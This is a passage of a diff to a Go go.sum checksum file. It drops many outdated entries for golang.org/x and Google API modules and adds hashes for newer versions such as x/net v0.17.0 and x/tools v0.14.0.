v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210220033124-5f55cee0dc0d/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= -golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 h1:CIJ76btIcR3eFI5EgSo6k1qKw9KJexJuRLI9G7Hp5wE= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sync v0.4.0 h1:zxkM55ReGkDlKSM+Fu41A+zmbZuaPVbGMzvvdUPznYQ= +golang.org/x/sync v0.4.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180926160741-c2ed4eda69e7/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190204203706-41f3e6584952/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200107162124-548cf772de50/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200519105757-fe76b779f299/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200814200057-3d37ad5750ed/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210324051608-47abb6519492/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210420205809-ac73e9fd8988/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220204135822-1c1b9b1eba6a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.1.0 h1:kunALQeHf1/185U1i0GOB/fy1IPRDDpuoOOqRReG57U= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= -golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= -golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= -golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= -golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 h1:ftMN5LMiBFjbzleLqtoBZk7KdJwhuybIU+FckUHgoyQ= -golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200108203644-89082a384178/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw= -golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8= -golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= +golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= +golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.14.0 h1:jvNa2pY0M4r62jkRQ6RwEZZyPcymeL9XZMLBbV7U2nc= +golang.org/x/tools v0.14.0/go.mod h1:uYBEerGOWcJyEORxN+Ek8+TT266gXkNlHdJBwexUsBg= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -gonum.org/v1/gonum v0.0.0-20180816165407-929014505bf4/go.mod h1:Y+Yx5eoAFn32cQvJDxZx5Dpnq+c3wtXuadVZAcxbbBo= -gonum.org/v1/gonum v0.0.0-20181121035319-3f7ecaa7e8ca/go.mod h1:Y+Yx5eoAFn32cQvJDxZx5Dpnq+c3wtXuadVZAcxbbBo= -gonum.org/v1/gonum v0.6.0/go.mod h1:9mxDZsDKxgMAuccQkewq682L+0eCu4dCN2yonUJTCLU= -gonum.org/v1/netlib v0.0.0-20181029234149-ec6d1f5cefe6/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw= -gonum.org/v1/netlib v0.0.0-20190313105609-8cb42192e0e0/go.mod h1:wa6Ws7BG/ESfp6dHfk7C6KdzKA7wR7u/rKwOGE66zvw= -gonum.org/v1/plot v0.0.0-20190515093506-e2840ee46a6b/go.mod h1:Wt8AAjI+ypCyYX3nZBvf6cAIx93T+c/OS2HFAYskSZc= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= -google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= -google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.20.0/go.mod 